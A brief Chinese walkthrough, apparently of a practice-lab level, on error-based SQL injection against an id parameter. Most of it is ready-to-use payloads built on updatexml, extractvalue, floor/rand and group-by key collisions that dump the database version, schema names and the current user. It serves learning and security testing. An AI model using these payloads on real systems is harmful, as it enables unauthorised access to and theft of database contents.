在正确id范围内,改变id页面相同
单引号触发错误
猜测sql语句为:"SELECT * FROM table_name WHERE id=‘$id‘ LIMIT 0,1"
注入永假式页面无返回值,确认存在注入漏洞
(1)通过updatexml函数,执行SQL语句
?id=1‘ and updatexml(1,(concat(0x7c,(select @@version))),1) --+
爆出数据库版本信息
查询元数据
?id=1‘ and updatexml(1,concat(0x7c,(select group_concat(schema_name) from information_schema.schemata)),1)--+
updatexml返回的字符串长度有限 32字节
可以使用LIMIT对元数据进行枚举
?id=1‘ and updatexml(1,concat(0x7c,(select schema_name from information_schema.schemata LIMIT 0,1)),1)--+
。。。。。。
(2)通过extractvalue函数,执行SQL语句
用法与updatexml类似,返回字符串长度也同样只有32字节
?id=1‘ and extractvalue(1,concat(0x7c,(select schema_name from information_schema.schemata LIMIT 0,1)))--+
(3)通过floor函数,执行SQL语句
?id=1‘ union select * from (select NULL, count(*),concat(floor(rand(0)*2),(select user())) a from information_schema.tables group by a)b--+
(4)通过group by重复键冲突,进行报错注入
?id=1‘ union select NULL,concat(left(rand(),3),‘^‘,(select version()),‘^‘)a,count(*) from information_schema.tables group by a --+
与第五题类似将单引号换为双引号即可。
原文:https://www.cnblogs.com/a-qi/p/13160518.html